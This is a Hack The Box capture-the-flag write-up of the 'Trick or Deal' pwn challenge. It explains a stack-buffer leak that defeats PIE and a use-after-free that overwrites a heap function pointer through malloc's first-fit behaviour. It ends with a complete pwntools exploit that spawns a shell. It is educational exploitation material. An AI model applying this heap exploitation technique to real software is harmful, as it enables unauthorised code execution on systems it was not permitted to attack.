Hack The Box: Cybersecurity Training
Popular Topics
  • JOIN NOW
ALL Red Teaming Blue Teaming Cyber Teams Education CISO Diaries Customer Stories Write-Ups CVE Explained News Career Stories Humans of HTB Attack Anatomy Artificial Intelligence

Write-Ups

7 min read

CA CTF 2022: Profit or Loss? - Trick or Deal

Exploiting use-after-free and malloc's first fit behavior, Trick or Deal challenge write-up from Cyber Apocalypse CTF 2022.

saspect avatar

saspect,
Jun 13
2022

Hack The Box Article

Challenge Description 📄

Bonnie and his crew arrive on planet Longhir to get equipped with the latest weaponry, but the intergalactic weapon dealer refuses to sell them weapons because he has a trade agreement with Draeger, the Alien Overlord, thus Bonnie has to employ his neat exploitation tricks to persuade the dealer into selling them weapons.

In this write-up, we will cover another basic heap technique which is use-after-free and malloc's first fit behavior. 

First look at the challenge 🔍

We start with a checksec to check the protections:

All the mitigations are enabled!

When we execute the binary we get a menu with 5 options.

 

  • Option 1: prints a list of weapons

  • Option 2: We get a prompt [*] What do you want!!? our input is then reflected in [!] No!, I can't give you <input>

  • Option 3: We can supply the length of our offer and then we can send an offer.

  • Option 4: No input but a bit of a story:

Disassemble the binary

undefined8 main(undefined8 param_1,undefined8 param_2)

{
  undefined8 in_R9;
  
  setup();
  fprintf(stdout,"%s %s Welcome to the Intergalactic Weapon Black Market %s\n",&DAT_0010123c,
          &DAT_00101241,&DAT_0010123c,in_R9,param_2);
  fprintf(stdout,"\n%sLoading the latest weaponry . . .\n%s",&DAT_0010128b,&DAT_00101241);
  sleep(3);
  update_weapons();
  fflush(stdout);
  menu();
  return 0;
}

In the main function we see 2 interesting function calls: update_weapons() and menu().

update_weapons() 🔫

Loading Preview...

void update_weapons(void)

{
  storage = (char *)malloc(0x50);
  strcpy(storage,weapons);
  *(code **)(storage + 0x48) = printStorage;
  return;
}

First, it allocates a 0x60 sized chunk on the heap (including the metadata) and saves the pointer to the chunk to storage which is a global variable stored into the .bss then it writes into the chunk a list of weapons.

Then it assigns to storage + 9 (qwords) => storage + 72 a pointer to printStorage(). We can also validate the offset by inspecting the assembly.

This pointer is probably used to call the printStorage() function when option 1 is selected by the user making it a great target.

Let's validate it, we go into the menu and find the code path for the 1st option.

void printStorage(void)

{
  fprintf(stdout,"\n%sWeapons in stock: \n %s %s",&DAT_0010128b,storage,&DAT_00101241);
  return;
}

Our educated guess was true, the function pointer -> printStorage() is de-referenced and called when 1 is supplied to the menu input.

To Leak or not to Leak

Next, we should audit the buy() function.

void buy(void)

{
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fwrite("\n[*] What do you want!!? ",1,0x19,stdout);
  read(0,local_58,0x47);
  fprintf(stdout,"\n[!] No!, I can\'t give you %s\n",local_58);
  fflush(stdout);
  fwrite("[!] Get out of here!\n",1,0x15,stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

A simple one, it reads 71 bytes into an uninitialized char [72] buffer and then echoes our input safely using fprintf. We don't see any memset() call's to zero out the contents of the buffer before writing into it, so we might be able to leak contents from the stack.

Let's inspect it using a debugger. We break on the fprintf call to see the contents of the stack:

Run stack 8 to dump 8 values from the stack:

We see that the 8th value is a pointer to the _start function, a great leak to defeat PIE!

If we send 56 bytes (7 * 8) we will overwrite all the null bytes so fprintf will print all the contents until it finds a null byte, including _start address.

Making offers for fun and profit. 

Next, let's inspect the make_offer() function.

void make_offer(void)

{
  char local_13 [3];
  size_t local_10;
  
  local_10 = 0;
  memset(local_13,0,3);
  fwrite("\n[*] Are you sure that you want to make an offer(y/n): ",1,0x37,stdout);
  read(0,local_13,2);
  if (local_13[0] == 'y') {
    fwrite("\n[*] How long do you want your offer to be? ",1,0x2d,stdout);
    local_10 = read_num();
    offer = malloc(local_10);
    fwrite("\n[*] What can you offer me? ",1,0x1c,stdout);
    read(0,offer,local_10);
    fwrite("[!] That\'s not enough!\n",1,0x17,stdout);
  }
  else {
    fwrite("[!] Don\'t bother me again.\n",1,0x1b,stdout);
  }
  return;
}

We see that we are asked for size for our offer, our input is parsed using read_num() and then is used as the first argument in malloc(), so we have an arbitrary allocation primitive. Then, it writes into the chunk (size) amount of bytes.

Don't get caught 👮

Loading Preview...

Last function to audit: steal

void steal(void)

{
  fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n",1,0x3d,stdout);
  sleep(2);
  fprintf(stdout,"%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n",&DAT_0010131e);
  free(storage);
  sleep(2);
  fprintf(stdout,"%s[*] You, who didn\'t skip leg-day, escape!%s\n",&DAT_0010128b,&DAT_00101241);
  return;
}

We see that steal calls free() on the storage which points to the chunk where a function pointer->printStorage is saved. But. storage still points to the freed chunk, as it has not been assigned a NULL value.

The win function

What? Wasn't steal the last function, well actually yes, but no there is also a win function called unlock_storage().

void unlock_storage(void)

{
  fprintf(stdout,"\n%s[*] Bruteforcing Storage Access Code . . .%s\n",&DAT_001014a6,&DAT_0010149e);
  sleep(2);
  fprintf(stdout,"\n%s* Storage Door Opened *%s\n",&DAT_0010128b,&DAT_001014e1);
  system("sh");
  return;
}

Putting it all together

Given that we have a function pointer on a global structure, a win function, and a way to dereference the pointer, calling the function, we can safely assume that the target is to overwrite the function pointer with the address of the win function and then use option 1.

Leak! Leak! Leak!

To Defeat PIE, and thus, calculate the address of unlock_storage() we can use the leak we found previously in buy. We just send 56 bytes and we receive a great leak! then elfbase = leak - elf.sym._start

A bit of malloc internals

Glibc uses the first-fit algorithm to select a free chunk which means that if a chunk is free and large enough, malloc will select this chunk. That behavior can be abused in a use-after-free situation.

For example, there is a chunk that contains a function pointer, let's call it VICTIM. There is also a pointer to VICTIM which is not set to null after VICTIM is freed. If we free the VICTIM the pointer will still point to the freed VICTIM. But what will happen if we request from malloc a chunk of the same size as VICTIM? malloc will "follow" the first-fit algorithm and will return the VICTIM chunk. As a result, we control the data of where the pointer to VICTIM points. Giving us the ability to corrupt the function pointer.

Controlling The function pointer in storage

As we saw previously when we use steal() the chunk which contains the function pointer is freed but storage still points to the freed chunk, that means that if we try to allocate a same-sized chunk using make_offer() (abusing malloc's first fit behavior) we will get a chunk where the chunk we freed previously was stored. As a result, storage will point to our controllable chunk. Then we will write into it 72 bytes padding + the address of our win function (unlock_storage())

Calling the Win function

To call the unlock_storage() we can use the first option which will de-reference and call the function pointer at storage+72 which will point to the win function we wrote earlier into the newly allocated chunk.

Writing the exploit

from pwn import *

elf = context.binary = ELF("../challenge/trick_or_deal")
context.arch = 'amd64'

def start():
    if args.GDB:
        return gdb.debug(elf.path)
    if args.REMOTE:
        return remote("REMOTE", 1337)
    else:
        return process(elf.path)

p = start()

# Leaking _start
p.recvuntil(b"?")
p.sendline(b"2")
p.recvuntil(b"? ")
p.send(b"A" * 54 + b"BB")
p.recvuntil(b"BB")
_start = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info("_start @ [0x%x]" % _start)

elf.address =  _start - elf.sym._start

log.info("base @ [0x%x]" % elf.address)

## Free the storage chunk 
p.recvuntil(b"do?")
p.sendline(b"4")

## Allocate a new chunk to abuse malloc's first fit behavior (size 80)
## then send 72 bytes + the addr of unlock_storage to overwrite  storage->fn 

p.recvuntil(b"do?")
p.sendline(b"3")
p.recvuntil(b"):")
p.sendline(b"y")
p.recvuntil(b"be?")
p.sendline(b"80")
p.send(72*b"\x00" + p64(elf.sym.unlock_storage))

# Select the See weaponry option to dereference the storage->fn and so call unlock_storage

p.recvuntil(b"do?")
p.sendline(b"1")

p.interactive()

PoC 

 

GET A DEMO FREE TRIAL

Contents

  • Challenge Description 📄
    • First look at the challenge 🔍
    • Disassemble the binary
      • update_weapons() 🔫
      • To Leak or not to Leak
      • Making offers for fun and profit. 
      • Don't get caught 👮
      • The win function
      • Putting it all together
        • Leak! Leak! Leak!
        • A bit of malloc internals
        • Controlling The function pointer in storage
        • Calling the Win function
    • Writing the exploit
    • PoC 

Latest News

Hack the Box Blog

Red Teaming

5 min read

HTB CAPE: The hands-on certification for mastering Active Directory exploitation

mrb3n avatar diskordia avatar

mrb3n & diskordia , May 21, 2025

Hack the Box Blog

Education

18 min read

Creating Linux Symbol Tables for Volatility: Step-by-step guide

Odysseus (c4n0pus) avatar Odysseus (c4n0pus), May 20, 2025

Hack the Box Blog

Red Teaming

6 min read

Your pentest found nothing. Here’s what to do next.

HTB-Bot avatar HTB-Bot, May 15, 2025

Hack The Blog

The latest news and updates, direct from Hack The Box

Read More
Hack The Box: Cybersecurity Training

The #1 platform to build attack-ready
teams and organizations.

Get a demo

Forrester wave leader Forrester wave leader
ISO 27001 ISO 27701 ISO 9001
G2 rating Capterra rating

Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing
Individuals
Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams
Industries
Government Higher Education Finance Professional Services
Use Cases
Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center
Programs
Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status
Contact Us
Press Support Enterprise Sales
Partners
Become a Partner Register a Deal
Store
HTB Swag Buy Gift Cards
Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing

Individuals

Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams

Industries

Government Higher Education Finance Professional Services

Use Cases

Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center

Programs

Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status

Contact Us

Press Support Enterprise Sales

Partners

Become a Partner Register a Deal

Store

HTB Swag Buy Gift Cards
Cookie Settings
Privacy Policy
User Agreement
© 2025 Hack The Box